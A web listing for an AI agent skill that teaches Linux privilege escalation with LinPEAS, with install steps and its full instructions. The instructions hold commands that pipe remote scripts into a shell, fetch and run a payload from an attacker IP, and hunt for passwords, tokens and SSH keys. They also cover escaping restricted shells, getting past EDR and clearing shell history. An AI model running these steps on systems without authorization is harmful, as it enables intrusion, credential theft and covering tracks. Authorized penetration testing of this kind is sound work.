Privesc Linpeas logo

Privesc Linpeas

Organization
AgentSecOps
privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial access on a Linux system, (2) Identifying SUID/SGID binaries, sudo misconfigurations, and capability abuses, (3) Hunting for credentials in config files, history, and logs, (4) Detecting container breakout opportunities and writable service files, (5) Mapping kernel exploits and CVE exposure for a target system, (6) Conducting authorized CTF, red team, or penetration test post-exploitation phases.

Overview

PublisherAgentSecOps
RepositorySecOpsAgentKit
Skill nameprivesc-linpeas
Stars
225
Forks
44
Bundled files
4
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 4 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by AgentSecOps on GitHub. Read the source before you install it.

Installation

Install the Privesc Linpeas AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/AgentSecOps/SecOpsAgentKit/tree/main/skills/offsec/privesc-linpeas
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/AgentSecOps/SecOpsAgentKit.git /tmp/SecOpsAgentKit
mkdir -p .claude/skills
cp -r /tmp/SecOpsAgentKit/skills/offsec/privesc-linpeas .claude/skills/privesc-linpeas
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Privesc Linpeas in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Privesc Linpeas on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Privesc Linpeas is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

LinPEAS Linux Privilege Escalation

Overview

LinPEAS (Linux Privilege Escalation Awesome Script) is the most comprehensive automated enumeration tool for identifying privilege escalation vectors on Linux systems. It checks 200+ attack vectors, color-codes findings by severity, and maps results to GTFOBins and MITRE ATT&CK.

IMPORTANT: Use only on systems where you have explicit written authorization. Unauthorized use constitutes computer fraud. All actions should be conducted within defined engagement scope.

Quick Start

bash
# Download and run LinPEAS directly (no-install, in-memory)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output for analysis
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt

# Stealth / faster scan (skips time-consuming checks)
/tmp/linpeas.sh -s 2>&1 | tee /tmp/linpeas_fast.txt

Script variants (choose based on environment):

  • linpeas.sh — default, includes linux exploit suggester
  • linpeas_fat.sh — embeds third-party tools (no internet needed on target)
  • linpeas_small.sh — essential checks only, smallest footprint

Use scripts/linpeas_runner.py for structured JSON output and automated triage.

Core Workflow

Post-Exploitation Enumeration Workflow

Progress: [ ] 1. Verify authorization and document scope [ ] 2. Transfer or fetch LinPEAS to target (curl, wget, or scp) [ ] 3. Execute scan: ./linpeas.sh -a 2>&1 | tee linpeas_output.txt [ ] 4. Triage findings by severity (RED = critical, YELLOW = medium) [ ] 5. Validate top vectors manually before exploitation [ ] 6. Attempt privilege escalation using highest-confidence vector [ ] 7. Verify privilege level: id && whoami [ ] 8. Document exploitation path and clean up artifacts

Severity Color Guide

ColorMeaning
RED+95% escalation probability (exploit immediately)
REDHigh confidence vector (validate then exploit)
YELLOWInteresting finding (requires manual review)
GREENLow-risk information

Targeted Scans (Faster Execution)

bash
# SUID/SGID binaries only
find / -perm -4000 -o -perm -2000 2>/dev/null | xargs ls -la

# Sudo permissions
sudo -l

# Running processes and services
ps aux && systemctl list-units --type=service --state=running

# Capabilities
/usr/sbin/getcap -r / 2>/dev/null

# Writable paths in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type f 2>/dev/null

# Cron jobs
cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null

# Network connections and open ports
ss -tulpn; netstat -tulpn 2>/dev/null

Key Attack Vectors

See references/privesc_vectors.md for detailed exploitation steps per vector.

Tier 1: High-Confidence Escalation Paths

Sudo Misconfigurations

bash
sudo -l
# Look for: NOPASSWD entries, unrestricted shells, wildcard abuse
# GTFOBins: https://gtfobins.github.io/

SUID Binaries

bash
find / -perm -u=s -type f 2>/dev/null
# Cross-reference with GTFOBins for exploitation techniques

Writable /etc/passwd or /etc/shadow

bash
ls -la /etc/passwd /etc/shadow
# If writable: add root user with known hash

Kernel Exploits

bash
uname -r && cat /etc/os-release
# Use linpeas output: check CVE suggestions for kernel version

Tier 2: Credential Hunting

bash
# Bash history
cat ~/.bash_history; find / -name ".bash_history" 2>/dev/null | xargs cat

# Config files with passwords
grep -r "password\|passwd\|secret\|token" /etc /opt /var/www 2>/dev/null --include="*.conf" --include="*.cfg" --include="*.ini"

# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null

Tier 3: Container / Environment Breakout

bash
# Detect container environment
cat /proc/1/cgroup | grep -i docker
ls /.dockerenv 2>/dev/null
env | grep -i kube

# Check for privileged container
cat /proc/self/status | grep CapEff
# Full capabilities (0000003fffffffff) = privileged container

See references/mitre_mapping.md for MITRE ATT&CK technique mappings.

Security Considerations

  • Authorization: Obtain explicit written authorization before running. Document engagement scope.
  • Sensitive Data: LinPEAS output contains credentials, hashes, and keys — treat as highly sensitive. Encrypt at rest, delete after engagement.
  • Audit Logging: Log all commands executed with timestamps in engagement notes. Some blue teams monitor for LinPEAS signatures.
  • OPSEC: In red team engagements, consider evasion — see references for obfuscation techniques. Run from tmpfs (/dev/shm) to avoid disk artifacts.
  • Cleanup: Remove LinPEAS binary and output files after the engagement. Clear relevant shell history entries.
  • Compliance: Activities must comply with engagement rules of engagement, SOW, and applicable laws (CFAA, Computer Misuse Act, etc.).

Bundled Resources

Scripts (scripts/)

  • linpeas_runner.py — Automates LinPEAS fetch, execution, output parsing, and JSON report generation with severity triage

References (references/)

  • privesc_vectors.md — Detailed exploitation steps for common Linux privesc vectors (SUID, sudo, crons, capabilities, NFS, LD_PRELOAD, PATH hijacking)
  • mitre_mapping.md — MITRE ATT&CK technique mappings for each enumerated vector

Assets (assets/)

  • linpeas_report_template.md — Engagement report template for documenting privilege escalation findings

Integration Points

  • Post-Metasploit: Run after initial Meterpreter shell via shell command or post/multi/manage/shell_to_meterpreter
  • Post-Nmap: Use after recon-nmap identifies live Linux targets
  • CI/CD Security Testing: Integrate into automated purple team pipelines to validate privilege escalation mitigations
  • Reporting: Feed linpeas_runner.py JSON output into CVSS scoring and risk documentation

Troubleshooting

Issue: AV or EDR blocks LinPEAS execution

Solution: Use the Python/PSPY alternative or compile a custom version.

bash
# Run from memory (no disk write)
curl -sL <url> | bash

# Or use pspy for process monitoring only
./pspy64

Issue: Restricted shell (rbash, no /bin/bash)

Solution: Escape restricted shell before running enumeration.

bash
# Try common bypasses
python3 -c 'import pty; pty.spawn("/bin/bash")'
vi -c ':!/bin/bash'
awk 'BEGIN {system("/bin/bash")}'

Issue: No internet access on target

Solution: Transfer LinPEAS via the attacker machine.

bash
# On attacker (Python HTTP server)
python3 -m http.server 8080

# On target
wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh

References

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Privesc Linpeas AI skill do?

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial access on a Linux system, (2) Identifying SUID/SGID binaries, sudo misconfigurations, and capability abuses, (3) Hunting for credentials in config files, history, and logs, (4) Detecting container breakout opportunities and writable service files, (5) Mapping kernel exploits and...

Why use Privesc Linpeas on TypingMind?

Because you install it once and use it with any model. Privesc Linpeas is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Privesc Linpeas in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/AgentSecOps/SecOpsAgentKit/tree/main/skills/offsec/privesc-linpeas. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Privesc Linpeas?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Privesc Linpeas?

As many as you like. As long as a model supports skills, you can use Privesc Linpeas with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Privesc Linpeas AI skill free?

It is published on GitHub by AgentSecOps. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇